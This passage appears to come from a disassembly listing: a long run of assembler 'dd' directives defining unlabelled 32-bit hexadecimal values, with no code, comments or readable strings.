		dd 849D48A0h, 0A47437E7h, 24002C90h, 1AD6A2D1h,	3ECF9166h
		dd 3C14EBADh, 1400B4ECh, 0A5EA29DAh, 65002CFAh,	3B7CAAC1h
		dd 544C13A7h, 3DD6F8DEh, 8780C70Dh, 64EC19E7h, 0DC126CA4h
		dd 8400BC0Fh, 0B6A1CFB4h, 0D830C6F0h, 0F119390Bh, 3BB12216h
		dd 51F2A920h, 0B88BC4ABh, 0B78CE049h, 0DD14FE10h, 0F84139h
		dd 0FC5ADC4Ah, 481031F0h, 306F084h, 2025E73Bh, 0E42AE20Eh
		dd 11E9A0A8h
		dd 2BF5204h, 4D1B025Ch,	0AC8019EEh, 26B8A303h, 0D7002092h
		dd 0F45D564Ch, 1878F792h, 282E0189h, 0AD20DDFFh, 61B10029h
		dd 0E5670F1Fh, 774848F3h, 0A8F400B0h, 0C9CB7485h, 554D1EEAh
		dd 4F1FD2D5h, 0A1A14A54h, 0BC30A5BFh, 4F3C0550h, 83196BEh
		dd 0DF0C7675h, 67C17D01h, 71945C6Dh, 24DC7ECh, 85B49358h
		dd 0A0AFF447h, 0B3DBD0C0h, 58FCCC07h, 8238D00h,	1C5C8419h
		dd 1787B0Fh, 0BB1EE23Dh, 0A8D371A1h, 4802C39h, 5D0CFA43h
		dd 193FBC1Bh, 0A2950A6Eh, 0FA0A6A0h, 0E475EBBEh, 0FED9B502h
		dd 8868E1D3h, 5600ED7Dh, 0FB36EF31h, 245C0DDBh,	83ECE332h
		dd 1054D112h, 8E100ADh,	58F199E2h, 97D76509h, 20142Eh
		dd 19D912DBh, 0A57ED730h, 0E1140492h, 80C8C89Eh, 0EA73BF33h
		dd 3E2A0034h, 808D7454h, 95033122h, 19B27B21h, 49C80028h
		dd 0B64F30DEh, 71634E4Ch, 0E82F7851h, 3DF0F80Bh, 510C1219h
		dd 5101580h, 5577B907h,	6F0090DAh, 6E0D75h, 0C036FA85h
		dd 88A140ADh, 0BFCC5200h, 0B1C125D0h, 60E3EEEh,	65F3F200h
		dd 71106B2Fh, 7308860h,	3459A1Dh, 4DC41C79h, 0BE8077CCh
		dd 0E0060ECDh, 2CF393F6h, 374C0049h, 0CF5E877Bh, 5F00F7C9h
		dd 459EB5E2h, 15F326h, 83060F77h, 98EBC01Ah, 0A20F25F2h
		dd 0C08119B1h, 4B75D464h, 266700D9h, 85DC2E09h,	4A3C594Ch
		dd 6A6D801Eh, 8DDB62Fh,	81720039h, 7B536F12h, 0A305E4F3h
		dd 6606BC57h, 7DBA7000h, 1FCAB367h, 0C094C06Ch,	0BEA3FE12h
		dd 2707A874h, 0C1B83CBFh, 9E8498C0h, 0B64000EAh, 0D49DE817h
		dd 1D00A625h, 5BB8F1FCh, 7A08E7h, 0CA1C4598h, 0BACFB7DDh
		dd 2B2A1A7Dh, 0A07C04B0h, 2215AF7Ch, 0BD0CBACEh, 0E23009A1h
		dd 3C409F42h, 8A2C7F25h, 20336EBh, 0E199502Ah, 0C41431Eh
		dd 0F5080C0Ah, 21324622h, 8D080EF6h, 2E7E4245h,	44DB9010h
		dd 30A8DA31h, 512053C1h, 31A2218Bh, 18D4FD0Ah, 14248E15h
		dd 48304946h, 193F3196h, 0B2080EF3h, 0FC180F50h, 1E300350h
		dd 33D1F586h, 60AEFA12h, 4C7A3AC4h, 39519E6h, 44813C3h
		dd 5DC08BB0h, 8CE01401h, 5C5037FEh, 350F30A8h, 209BEE1Bh
		dd 0E34171EFh, 183903CDh, 0E02E965Bh, 0BA17F3C8h, 0B909931Eh
		dd 2F384C18h, 2308005Ch, 0C5026D4Dh, 9B48871Ah,	3C60053h
		dd 2DE34C38h, 0CFB903E2h, 179549D8h, 0AB5F5388h, 0F44F1F1Ch
		dd 85CCA4Ch, 51221F92h,	0B1CE40BAh, 0C0B0E348h,	7FCA5002h
		dd 42267801h, 0E94C20B5h, 0EB4225h, 0F01DB03Ah,	0C6E61A41h
		dd 0D94A4000h, 0ED8A6CB4h, 567D00E0h, 0DC6B867Ah, 0C400D676h
		dd 0B3D29949h, 171A28Ch, 896F9D64h, 0D8E3F656h,	0F005AD79h
		dd 0D2DE01EDh, 34391C72h, 14300F00h, 0BC3FB99Bh, 927B00CEh
		dd 2F891A4Dh, 0D6F778FAh, 2E20C0BCh, 0A7DD07F3h, 0F0015E4Fh
		dd 0E57CAD73h, 39F4B8A8h, 0A40008FAh, 0B9558F49h, 126A2Ch
		dd 22EC5C9Bh, 167E21ACh, 5C85B229h, 0A2721583h,	0C060E75Eh
		dd 77CCEF8Ah, 0CEAC0EEAh, 1980ED2Bh, 0B283F506h, 99F67406h
		dd 1E1205CFh, 83A291C8h, 0FB4EC4F3h, 0FC8FA4B8h, 1545D80Eh
		dd 16B8C081h, 0CB35635h, 0C75543E5h, 2A008829h,	42B521DCh
		dd 7D0120CFh, 8BC40084h, 0A96E8389h, 601B0C2h, 0D1E99890h
		dd 6AD85C61h, 902A9AD4h, 7BD2EB4h, 327000CCh, 594AAB61h
		dd 17D3B300h, 50DB80A1h, 0DCEB015Ah, 2C815736h,	125841E4h
		dd 14C4B8Eh, 0A8C3135Ah, 47D989C5h, 0EC9CC06Fh,	571C4C0Bh
		dd 0B7263256h, 7AB6A707h, 0DC8036D0h, 40C56044h, 148987E4h
		dd 0B293FD03h, 80369218h, 1E7A63A7h, 3F9A2DAh, 0B83E1055h
		dd 0DE4679E8h, 33004CFCh, 406FCAE7h, 0FA0B9Ch, 0AAA75812h
		dd 82F63B90h, 4A063200h, 947458Fh, 0D4FB0035h, 0E9ECADF3h
		dd 8EF87D5Eh, 89ACE212h, 40B6FA8h, 64013184h, 60CBF2E6h
		dd 0E0E9DBCDh, 2006066h, 2CF57E7Fh, 0C511916h, 0C94D6AF3h
		dd 0F800FD30h, 5E07D3FAh, 0FF2F4C43h, 66E8FCE9h, 28353ECAh
		dd 0B2F81301h, 0E0FBE961h, 6D00A751h, 0C027971Ah, 80E82B1Eh
		dd 1310658h, 4240A8D7h,	0BFC99880h, 62BA7190h, 289D5600h
		dd 746B787Fh, 0D42C003Fh, 11E30595h, 3201C47Ah,	668482F5h
		dd 0D9611D16h, 0EA0440Ah, 49243997h, 0C4000266h, 4C920BAFh
		dd 9FC9012Dh, 52E14A80h, 0D872F408h, 0C5761900h, 90F63AC0h
		dd 0EDE430h, 0CED94863h, 4A5E2F6Ch, 0FCC8250Ah,	3000C3AAh
		dd 940B38ABh, 8278D5h, 740F1671h, 445941A2h, 0C7068C78h
		dd 2EAADAA6h, 0F0667C90h, 0CBDC0034h, 4A84741Fh, 961FD592h
		dd 84EB4352h, 76F7D980h, 50122B63h, 0E9A054h, 0A7BEF372h
		dd 0F0B2E497h, 3ACEB303h, 0C5A2D7EFh, 652AF8C0h, 49B00C6h
		dd 0CED5DFBAh, 0B400C48Ch, 0F579FBDDh, 7DB121h,	0B54C960Eh
		dd 4239E8D8h, 5284B3Eh,	7598A87Fh, 67C5D05Ch, 3FC0D25Bh
		dd 3E895C08h, 0EC804B1Bh, 0DEFED6CDh, 32766FB7h, 0BFE00C60h
		dd 25D9A40h, 458B6326h,	644796E0h, 0CABA4E80h, 37E5D0h
		dd 5A59B592h, 111B8E2Eh, 6B80FA00h, 83474427h, 4FEF68Dh
		dd 7657BB3h, 0F00C8ABFh, 60BC5C30h, 909FD838h, 881F73B0h
		dd 4680C407h, 485ED0EAh, 721D1F1Ah, 287BCA8Bh, 8F18FEFCh
		dd 65D0DC8Eh, 0E94296Ch, 0B99805F4h, 0D3A58080h, 0FB526434h
		dd 0B7DC8780h, 472A6532h, 0ECE44740h, 4F0E1B79h, 9D58182Fh
		dd 0C40ABC8Ah, 90E0B562h, 237B90h, 1CCD48D6h, 31F56642h
		dd 0B4105362h, 0F61A2044h, 4944AFCBh, 22CEF639h, 527F472Eh
		dd 38461E26h, 0FF0A03BCh, 7CD51Dh, 5EDABE20h, 0C149ADF6h
		dd 22FEC800h, 58EFB099h, 44250116h, 3A540BBh, 78402239h
		dd 76001C90h, 4934780Ah, 0EAF37F6Fh, 5A2C06C1h,	0D85D5899h
		dd 0EBFF280Fh, 9C6A1DB1h, 0F8D77600h, 0FC1F7C52h, 0C5120779h
		dd 0F0804115h, 86FA97AEh, 0C2847612h, 61B90006h, 9500A048h
		dd 0D8AB0C94h, 0D4B8486Ah, 20FD2900h, 4335A1C5h, 313A00C8h
		dd 9594702Ch, 7754394Fh, 0EE0C90E4h, 384D6EB3h,	90DB49ADh
		dd 0C238E2C3h, 0C4F1FC80h, 0AF00D09Ah, 0EBEA29A4h, 2325D8Eh
		dd 73B79062h, 0D848850Dh, 2D00646Ch, 0CB05D83Dh, 0F2619AECh
		dd 88536B9h, 2301F269h,	5518A22Dh, 5D704D2Bh, 36F30016h
		dd 125C7CEh, 0E626471Ch, 0CA80FC9Eh, 906BA774h,	0A1876A0h
		dd 0FC56775Ah, 79151BF0h, 8A31B298h, 764A8C00h,	0DD8218F0h
		dd 0F25C063Bh, 0C0F18F14h, 0B17ADF00h, 8685EB1Ah, 453F0ED7h
		dd 0C7004EAFh, 0F2B42ED5h, 0E3E56D3Eh, 0F01F9278h, 3E4C5D98h
		dd 3F3081AFh, 709E3E18h, 0ECF5AA00h, 720F2CE4h,	4A76053Dh
		dd 4EE7ACh, 4C5CBF8Bh, 0FB00EBF8h, 0E410819Dh, 619C8Ch
		dd 0A2641F5Fh, 0B93679CDh, 6BFB4400h, 54E306Fh,	0B05E00F8h
		dd 0FF0B4F63h, 0AA07B82Dh, 6C82168Ah, 379A80BBh, 3FCAF44Eh
		dd 0F600D106h, 9D49BBB0h, 8D0051A3h, 7267A6C0h,	0DFD7C1h
		dd 457E6603h, 630E52ABh, 2E934100h, 890794CCh, 362C0738h
		dd 0BB8C5CA5h, 2141E380h, 550328E6h, 0D5137FFh,	447F007h
		dd 5A6F00E0h, 0D7BE95CAh, 0A40E61A3h, 60F77D6Ah, 5C783A63h
		dd 0EF3107B5h, 20B210BEh, 606D1A1Ch, 945E241Fh,	13A42CEh
		dd 0E71861EAh, 26F080CEh, 3A38CA7Dh, 8A805A28h,	0C4744969h
		dd 141DCFE1h, 37EEB084h, 0D4F78900h, 0BADDB6h, 433886E2h
		dd 5E908FD1h, 95734901h, 0EAA05C20h, 0FD72BFF0h, 17E063E8h
		dd 7D49941h, 0B730ABCCh
		dd 797A703Dh, 6465C728h, 0C8C04520h, 5147BCFh, 3FE73E25h
		dd 4CAC004Dh, 0D8C6854Ah, 0D60ED77Fh, 40F9E290h, 0EF70DB5Ah
		dd 1F4503E7h, 0A7373E98h, 0D84E3899h, 0C55E1643h, 0B60144ECh
		dd 705F9179h, 5A088011h, 6515F8D4h, 1F2F856h, 933B4BEBh
		dd 80B4BF52h, 2C2BBE80h, 0B5A660h, 0D4F4E1E6h, 0C136BC63h
		dd 0D60006FEh, 6CC7C088h, 3AB20527h, 438064A4h,	9C368EDBh
		dd 310F8618h, 21F41BD3h, 8AE948BDh, 0F328CCh, 6E1F3207h
		dd 7EFE3EC4h, 2CA43B07h, 0DE617888h, 0F0CFC1DBh, 144E2Eh
		dd 6BCD1AFFh, 2D1BEF9Fh, 48284700h, 130CE8C1h, 0A62300DBh
		dd 9D10DC4Bh, 4900CCD2h, 0A958BC68h, 7A5AFC6Bh,	0D9290FC7h
		dd 3C4E27B0h, 319993E0h, 15001392h, 97F87024h, 7C545Eh
		dd 58C327D4h, 9807B69Dh, 34729300h, 4D6BC23Fh, 4C420019h
		dd 9DE1CADAh, 0F4FE860Ch, 0FE80B100h, 0A964BD1Bh, 0C4090779h
		dd 372A7D52h, 5896B082h, 0B4E4C212h, 2C434600h,	9C574E78h
		dd 0DDF000EEh, 16C0F126h, 93EEE3D2h, 877A413Fh,	8CC9AF3Eh
		dd 282059F0h, 96A600D5h, 5CF6C369h, 0BF1E5709h,	0A1015D5Fh
		dd 0D60AC4D0h, 0C299C4h, 0ED011B97h, 854EFFF6h,	769A1E00h
		dd 461DE2CBh, 689D0066h, 0AAA5608h, 0CAFCB8A0h,	4C64AB00h
		dd 0E012EB8Eh, 41B9006Ch, 1A6F9603h, 6502500Fh,	760D9186h
		dd 0D91C60BFh, 1D4100CFh, 1ACE275Ch, 0A300683Ah, 862DD834h
		dd 0BB4318h, 4E9DDC54h,	0FE4FE5DAh, 0CE4271Dh, 5C4780FCh
		dd 5AC65332h, 519C00BCh, 0C195F482h, 760F2756h,	0A07AC428h
		dd 9A2202FCh, 0D360CC3h, 0A320C9D6h, 0AD12A200h, 7F15C447h
		dd 197239E5h, 0E0CD2E80h, 8A0D1BC6h, 50010B71h,	815FF57h
		dd 81D43AF4h, 9CBD00A1h, 0BE0FE54Ah, 2400D741h,	2D34258Ah
		dd 0EC3B57Ah, 31D462B8h, 3FA2FAE0h, 7F00846Dh, 89FF4DC5h
		dd 0B897CAh, 0CD12C401h, 9B41BB14h, 27D54300h, 2FC62465h
		dd 137034Dh, 6413F555h,	334463B0h, 265C3500h, 0BB07BF85h
		dd 0F27C00AEh, 7628728Fh, 84000469h, 369173D8h,	1D9146Bh
		dd 0ED79D30Ah, 405039BAh, 6C6869B4h, 2BD87800h,	63F62F85h
		dd 42CA00C5h, 74C4FD40h, 47988469h, 1C8BF206h, 61DAFCh
		dd 0EC4C5F67h, 0A32F3241h, 0F11B4B00h, 0CCD3153Ch, 0D4690075h
		dd 0EB874DA7h, 0CB07D02Ch, 3A738497h, 0B4246D60h, 0F3F01D1h
		dd 1CC17AD8h, 0CC07D506h, 0A900EB41h, 0EF5A4A93h, 0A5577Fh
		dd 769868DEh, 0F59026C5h, 3BCCC900h, 0B8529DA8h, 1C4982Bh
		dd 0D4C25EFCh, 80152974h, 28D133CCh, 0C60ACB0h,	2017B93Bh
		dd 7520F729h, 7CB100BCh, 1D27C29Ah, 8380C7A1h, 0C06C40A4h
		dd 2A57C902h, 277BAD15h, 0C5A744Fh, 728512Fh, 90707139h
		dd 418D636Eh, 2D9660C8h, 0B8E2670Fh, 477860D8h,	0E3266Fh
		dd 6B74BB81h, 1DAFD7CDh, 76BE9F00h, 8898F163h, 8F513C93h
		dd 50BC5F80h, 8ADD73F6h, 0EF80101Dh, 14A108C3h,	6094C0CDh
		dd 0A8CA1F7Ah, 9B5600F2h, 95AFD232h, 0BB4C3500h, 7F81412Ah
		dd 1FB703B1h, 0F793AA2Eh, 8C66C0FFh, 0A004B87h,	0EEE57BCBh
		dd 0B52B6Fh, 0F777D1C4h, 0D775F29Bh, 0A21AA00h,	45632632h
		dd 9F9800B0h, 9EF91BFBh, 9B1C195Dh, 57007F68h, 0E9346F92h
		dd 0F0B000CEh, 27F30D28h, 1E0F8391h, 1D55C241h,	16C80541h
		dd 0C0CC0B21h, 38C8EF4Eh, 0DC07078Ch, 0E0975315h, 43CF3442h
		dd 9ED2000h, 9FAAFF0Dh,	467E78h, 2C024FA3h, 9A55FA66h
		dd 0D3A2EA09h, 60BC00EEh, 0CFAC575Eh, 0C60C1480h, 32EC53D8h
		dd 72E11200h, 0D8119B1Fh, 475A007Ch, 0F0B01FFh,	7F48E597h
		dd 228860EEh, 86C066h, 1901D85Ch, 0F1E16711h, 7546C31Dh
		dd 3FCEE580h, 3F578977h, 8E00B012h, 5495D330h, 6F007C36h
		dd 9E2E7F2h, 0A093D535h, 319D099h, 718B40F5h, 23E09A6Ch
		dd 6771F4Ah, 80FE323Fh,	12ABE1D6h, 1647FAh, 35BF932Fh
		dd 83DEE86Ah, 7F54AC00h, 0B0432213h, 0E73200CDh, 0C012D006h
		dd 2A003CB9h, 18BDF40h,	1DDB22D1h, 0C01D5DF7h, 0F0D0E1F2h
		dd 9700ABF3h, 71041E8Bh, 121CA147h, 0AFEFCBh, 0A051B749h
		dd 0DB00624Dh, 0B0272863h, 25250E3h, 0E1DF79FDh, 0D8E0D248h
		dd 340046E8h, 0BEFE20ECh, 3A9E9CAh, 8C9EE0D7h, 398894C0h
		dd 160211BAh, 7B5901AAh, 1CE0771Fh, 780E14C9h, 0A05F89A4h
		dd 0AF2961D6h, 31F72A6h, 0C9AE4E18h, 35804684h,	4F038F1Ch
		dd 0A9A2427Dh, 4058B252h, 75AA0848h, 0FB5400C5h, 0BBF7BF39h
		dd 64726D6Bh, 0B735CC00h, 46083C2Bh, 335C00C6h,	75A4BC80h
		dd 0FC0FABDDh, 0E40D48h, 0F547D41Eh, 0F3EE00ADh, 0FD59E88Ah
		dd 0F700E1ABh, 74103539h, 14070EE5h, 0E09A6772h, 519BDF00h
		dd 0FDF6BB69h, 0E140B48h, 20CFB626h, 89F3AEF1h,	336700EFh
		dd 6E782540h, 0B707E213h, 1DD282BAh, 19C669D1h,	78BF22F8h
		dd 4C3E007Ch, 0B02E700Ah, 0EF00A646h, 7D9F6FE3h, 95A466h
		dd 32C98CF1h, 5D96E970h, 446C1000h, 635717DAh, 0B01E0034h
		dd 4698DDF6h, 1000FCFFh, 0EE4C5825h, 2C5F48h, 62CCE3ECh
		dd 899E7F4Dh, 0C776A700h, 2A181166h, 0F1CFE06h,	8ACB53A0h
		dd 0FD333163h, 55B3097h, 0F3B8A13Bh, 60C18F1Fh,	443F5400h
		dd 5DF4D1h, 46529F11h, 99439631h, 6D2EF500h, 0AA76D332h
		dd 7DA60188h, 0CC77DDF9h, 4014F115h, 0D77FF4DBh, 4BCACB00h
		dd 9AF8B50Ch, 12030055h, 0F06DEE18h, 401C5EA6h,	0DEC0B41Fh
		dd 0F32142ECh, 3F8000C1h, 7CB8CFFAh, 0AB002CE2h, 5271163h
		dd 4CAC0CF6h, 8C139398h, 0B51870B9h, 5B1CA92Fh,	0F8004C33h
		dd 0A6A8DDFEh, 0C1493E3Bh, 0B4819700h, 11C8751h, 4EA0D800h
		dd 194CDE21h, 27F2B1h, 25BF3135h, 7F62EB81h, 0EA934314h
		dd 0B9007E90h, 0AAA4A1C1h, 1E6463E3h, 8FDE2DA0h, 0BBE78846h
		dd 0A33890D2h, 0BE035462h, 79CFC9E6h, 4F8DC869h, 0D92D18F3h
		dd 0ABBFDE9Fh, 21028E00h, 915C66CCh, 41FF00EAh,	19569BEEh
		dd 0A6C7BAAFh, 0B900126Dh, 266ABBCDh, 1DB5B44Fh, 2E003E3Bh
		dd 68BEC7D2h, 7000EC95h, 82B08B43h, 6E3AABh, 0F978BB55h
		dd 99366C19h, 0B45FB602h, 0DFDA7CADh, 0D74E3360h, 0E7E3D200h
		dd 78F77460h, 0DE52B8D1h, 44FC5C0h, 80EBC3E5h, 4E91A4D0h
		dd 5100C77Dh, 47574BF4h, 182FAFh, 5665366Dh, 1EC929C2h
		dd 1F32BA00h, 777335EBh, 5B9009Ch, 0EF166ADFh, 8000E01h
		dd 78F91F44h, 1FCEC5EDh, 0C0D467ADh, 0D687CDAFh, 2E004C11h
		dd 4E55AB51h, 0FFE9C07h, 0F3CAB954h, 9BC075AFh,	12B73DC4h
		dd 7D5D5200h, 40190C49h, 448F0308h, 0A57B1FA2h,	63223000h
		dd 0BD1DAAC3h, 7D700033h, 0CCA0C0C7h, 0DF00FDEDh, 0B720933Eh
		dd 1BA89B2h, 790B5C03h,	0C8CFBCC4h, 400633Ah, 0E512ACEEh
		dd 70F77Dh, 0BED53E93h,	0C0918A1Fh, 7E237F0Eh, 0AD0A40C1h
		dd 0AE46A0h, 1A6B6C07h,	0D590FBAFh, 0C5833Eh, 44A7DD33h
		dd 21F065Bh, 0AC283FABh, 0A4C0599Eh, 0F0907193h, 38BA0500h
		dd 2C0310C5h, 0D6A30045h, 33689555h, 4D01C684h,	0AAE958EDh
		dd 0A5407262h, 0D3F8Ch,	49141CFEh, 20EA0B0Eh, 0EF80DC50h
		dd 23562507h, 7FA0CD8Eh, 1FCE9B47h, 0DE2C1B06h,	5F8FCC36h
		dd 6128F9FEh, 0E5019846h, 490A781h, 0B03FCBCAh,	55008FBDh
		dd 74788DF6h, 0FCB77Ch,	0F5601E39h, 44A18656h, 6E1F8700h
		dd 0E526384Fh, 9B601E3h, 7552FC1Ch, 0F0E2E518h,	9F07D1BBh
		dd 0D5658F0Fh, 0EEEB2C80h
		dd 794B02CFh, 0DAAC2F9Eh, 0F0056EE1h, 0B607E9D8h, 97743555h
		dd 67C09BB0h, 2C9503DCh, 0CBC6AB14h, 6E6ADED0h,	4F2522C0h
		dd 0E8D4D7h, 9A7F4611h,	882B5C71h, 6383EC00h, 0BDB4FEF9h
		dd 117CAEh, 64E25FF3h, 91C8ADBEh, 1EAC60Eh, 96486035h
		dd 7B36FC2Eh, 0EC2400C2h, 601A94FEh, 740434A8h,	89105548h
		dd 0F44DEC81h, 3A1E4883h, 80F80EB1h, 6B771DB6h,	27A2B900h
		dd 737B10ABh, 2EDB2C8Ah, 0F3D0056Ch, 960BEB0Dh,	495085D6h
		dd 1AFB5090h, 0FE2C0007h, 30B69717h, 0ECFB7FD9h, 9C079B6Ch
		dd 3CB1711Ch, 0ADCC0C00h, 8373E1h, 633EC117h, 1294AB2Bh
		dd 80526839h, 28DB1FFEh, 121932Ah, 8E5476A8h, 0C8B72DF1h
		dd 363A20B4h, 892B0F09h, 0A6D68083h, 0A3EA01h, 139A22ACh
		dd 5FA79F48h, 0F6251F17h, 80AE5C09h, 0BB85C3E5h, 52CE1415h
		dd 3C00D19Dh, 0F1C77431h, 0D2000E13h, 0A73E68FDh, 30AF9736h
		dd 71184DE8h, 0B24AA35h, 0B100CE5Ah, 34E39DF0h,	0E17839h
		dd 81C71EBh, 6E6D31F1h,	5E004A75h, 0EF989D04h, 535F2h
		dd 878923D2h, 4868C95Ah, 5E0FBF25h, 80CD1E92h, 8446B686h
		dd 50006389h, 37707BAAh, 0A8592Ch, 11BDC2B9h, 0D9386AB0h
		dd 0BB786D26h, 0B348A400h, 7F813171h, 0E59A0007h, 0C8288968h
		dd 6600D46Bh, 368B4B60h, 7BAD5BBFh, 2D40C012h, 93C12372h
		dd 0AC88A901h, 0E0CD4425h, 19F484E9h, 7A50C7D1h, 0A99A3064h
		dd 7800768Fh, 39ECCE79h, 0F8039Eh, 0A03597F2h, 12290BA4h
		dd 246A3B00h, 6ED95325h, 5E610165h, 1A3806F8h, 935AC82Fh
		dd 0D392B207h, 0C940A23Eh, 0F51EF3h, 79650FAAh,	0EC3DE768h
		dd 803FDA3Eh, 0EF2CCB13h, 282D89h, 37F00715h, 917856B4h
		dd 0C9112600h, 5CB2F5E4h, 0B1140054h, 86061AB3h, 907561D7h
		dd 714D1E00h, 50A00B5Bh, 30C56C93h, 3C00AD92h, 4E448259h
		dd 0F75E8h, 0A270FF5Ch,	7DB6A119h, 96478500h, 75C4EDC3h
		dd 0A4BB00CAh, 63D56F27h, 9F3BE538h, 627A0031h,	22F798A0h
		dd 9CEB03A4h, 0B91E6B5Ch, 426A68B0h, 79BF1800h,	0F97A9848h
		dd 0A2130046h, 0F0A85A01h, 0A000A111h, 0E1288AB2h, 18DD1Eh
		dd 90FDEFCFh, 9AEACDACh, 410A201h, 0ABBB7AE2h, 39DDE4h
		dd 56F4AFBFh, 0A5C8C1F1h, 5970D00h, 0E119A3DBh,	0A6940146h
		dd 274FEB0Ah, 0E8EED589h, 9B005B28h, 742B8E98h,	3B62554h
		dd 87828395h, 7AF0945Fh, 50F51BEh, 0E0B05A4Fh, 459091B8h
		dd 775500EEh, 35A62BAFh, 0B100EC6Bh, 0E589AC78h, 615A24h
		dd 550F123Eh, 0BBB7FDF0h, 0E67938h, 105CF1B8h, 0DCF75Eh
		dd 27F6D0ECh, 5613BA29h, 37CDD400h, 6D9EB7FCh, 6CA6002Ah
		dd 0B66455CAh, 4A0047B3h, 0C09626B9h, 0CBA2C387h, 6B8007F0h
		dd 45F09A71h, 96E28900h, 35B5D082h, 0FE25501Ah,	655D00FCh
		dd 0B1E9F9ADh, 0CDF6370Dh, 9C9B0B3Ch, 0BF004D63h, 469C7FC3h
		dd 0FD94002Ch, 0F1C0C9D3h, 4478C842h, 0A7C3BE00h, 6271BC18h
		dd 0E204FCDAh, 0CA250F77h, 0E5C0A024h, 0D694E3B8h, 0D5405A00h
		dd 5E97CDC0h, 0BCF93E5Fh, 902B2300h, 42E29277h,	8468C500h
		dd 566E1DE6h, 0F09700D3h, 0D5E52B1Bh, 2C00B4BAh, 0C548FCF5h
		dd 0F7BF214h, 13B6F3E3h, 96C473C0h, 0B008EA2h, 70C0D727h
		dd 329062h, 0F3973923h,	0F50902E6h, 3E065800h, 0BAA74892h
		dd 0D46907C8h, 0E07BDAD2h, 4F0D8AFEh, 0DED32AE0h, 3B295207h
		dd 3E86AA50h, 19E8E1h, 0D44AA264h, 15398049h, 0D11B6600h
		dd 0BD85E805h, 65E90FC7h, 0D4543E21h, 0F45F9D0Eh, 0EFDF5B80h
		dd 2A00DB11h, 0D6C31E19h, 0EFBC9h, 0F932F5F3h, 1D05BC51h
		dd 3280A00h, 938759A6h,	9E8C03B1h, 9950897Ch, 0CF78E097h
		dd 0F176C5F3h, 0DD5681Dh, 462E8740h, 0E6126B8h,	0DC1AD1F8h
		dd 4E9256C0h, 13005302h, 907ACC34h, 936F21h, 2715E114h
		dd 2C543EC4h, 3D7EF05Ch, 0A3A5Dh, 0DB03053h, 2A99ABh, 4D8B9155h
		dd 276DE1BBh, 2604DFF0h, 0C4C9FDEEh, 3BF40AC0h,	950C01CCh
		dd 2211C23Fh, 709AF91Ah, 0FF1E86BCh, 28402C36h,	0E805E4Ah
		dd 0A07A00A5h, 8C0FB520h, 4C09C4A9h, 80F6E71Ah,	7B2FBB6Fh
		dd 165B018Fh, 33C0D0F2h, 1456FCA1h, 0DEC3C407h,	0D250469Ah
		dd 0BECF2D8h, 2DFDD16Eh, 0A704D180h, 62004272h,	7510C068h
		dd 327AF01h, 2ABE7B8h, 0E3AF0F06h, 64A856D1h, 0C300294Eh
		dd 0F654CF3Ch, 76A78Eh,	0E49E7B1Bh, 6CED01AEh, 0BE5F3A00h
		dd 0D79D3382h, 24D3033Bh, 0DE869222h, 32780FB8h, 0AF1C6000h
		dd 0F5C27D42h, 0ECE600E4h, 9570D4B5h, 2E007125h, 4CA28CA8h
		dd 38FCF619h, 0A980A53Ch, 0AEDC8ED1h, 3E0E4E84h, 0C00E8F32h
		dd 0E3F3E491h, 83650072h, 39B9788h, 681FFB4Bh, 350F1798h
		dd 7AA98133h, 188013D4h, 637C622Eh, 480E09DEh, 0A0AA0161h
		dd 965A565Dh, 0DAB003Dh, 0CFBA2F3Ch, 0A939F962h, 0D0132749h
		dd 0B3F600EAh, 8697EC09h, 0BFE4FF1Fh, 136DC500h, 73C24406h
		dd 5E29010Ah, 19E87221h, 8061E032h, 0D857B30Fh,	11FB801Bh
		dd 9DE2F527h, 0CB011E58h, 913CEF78h, 4A204E3Dh,	3074A6h
		dd 87ACAE8Ch, 679BF4CDh, 2D8F3Dh, 0B3CB38DFh, 0A2134h
		dd 0CA1E4F1Ah, 3213D190h, 0BA9E7600h, 0BDE5C7FAh, 0A190091h
		dd 9C794F3Fh, 0AF0FAD86h, 80E7D74Bh, 0E32B20C0h, 0E76484Ah
		dd 49DABB00h, 0B8AB5A7Ch, 4851720Fh, 0ADD90039h, 901E46BAh
		dd 171D00C3h, 0F529E937h, 1F00C4ABh, 36D97485h,	0F69C4160h
		dd 19E10031h, 0C972EC2Bh, 8900249Eh, 171B1D26h,	12CF0Eh
		dd 65B5583Dh, 43DA1128h, 575A38C9h, 0CB597500h,	57004DC1h
		dd 0D5CD8195h, 64E07DAh, 64BA3CF1h, 0B700F4DCh,	0BD40C9A1h
		dd 866B9Ch, 472C0EBCh, 7B75F734h, 99007F79h, 57A1E646h
		dd 0DAF6FEh, 0EFC69230h, 79392D5Ah, 0CFD2A82Eh,	3BE35B01h
		dd 47D4C21Ah, 4D070063h, 5FF3CAACh, 2A001E93h, 3EB8AD8Eh
		dd 0FAAE8F1h, 0D8E0FD8Ch, 827F34E0h, 802F32Ah, 581C446Fh
		dd 78C5E097h, 68D200CEh, 838511DAh, 0E63B4AD4h,	0F31580BAh
		dd 0E3A8D84Dh, 0D514006Dh, 55F73CA9h, 20002C78h, 8327E526h
		dd 956047h, 84C974B8h, 0BC466A63h, 22D1F00h, 1B2C1CD9h
		dd 47B700D7h, 0FD420A3Fh, 0A6009620h, 93DCCF34h, 30E219Eh
		dd 0A2089251h, 5AA0861Ah, 0F002EEB3h, 7992FC2h,	0CB0EE020h
		dd 0AA1D0055h, 830D4F01h, 0EB052530h, 0D2ECD9B4h, 4019B100h
		dd 3C6336C9h, 52002333h, 0F945A498h, 7E5CE9EAh,	3D8B01A4h
		dd 95BA1F60h, 1180F4h, 0C8D9B1Dh, 0CED4147Ah, 7E9D4300h
		dd 54080B39h, 0E026007Bh, 0EB29373Dh, 0E4004AFFh, 5B34CA60h
		dd 793044h, 0CDD55340h,	5592C951h, 0A51FD001h, 2C31F97Bh
		dd 7F80B60h, 6BBAF4B3h,	0F0EABE4Bh, 5F6D0086h, 2706F289h
		dd 0BF496000h, 50C81C2Dh, 0FB0B38BEh, 65DB92h, 4758CD89h
		dd 9B482942h, 87C86FC2h, 6971CA5Ch, 0D840BF27h,	1EB5B91Ah
		dd 0C04D7194h, 9AE3B26h, 510F8573h, 0C381337Fh,	0E8A3A708h
		dd 4A234Ch, 844089D9h, 2A07B7Ch, 0C7115A07h, 8A708F55h
		dd 488709h, 0BA3FED97h,	6C39B5C2h, 54A2F200h, 0E1666282h
		dd 0DA56000Eh, 0C3FA793Ah, 58589767h, 116907BEh, 22A02F19h
		dd 1F9E8B1Dh, 8FDCFB71h, 0F187920Ch, 0FEFC1A3h,	47D6D4C6h
		dd 0BC345203h, 0F806D46Ch, 1F55792Ch, 474556EBh, 903C44E6h
		dd 0BFFEF02Bh, 0C4BD9D28h, 0B48F4F00h, 0BC7EA1E3h, 92F288h
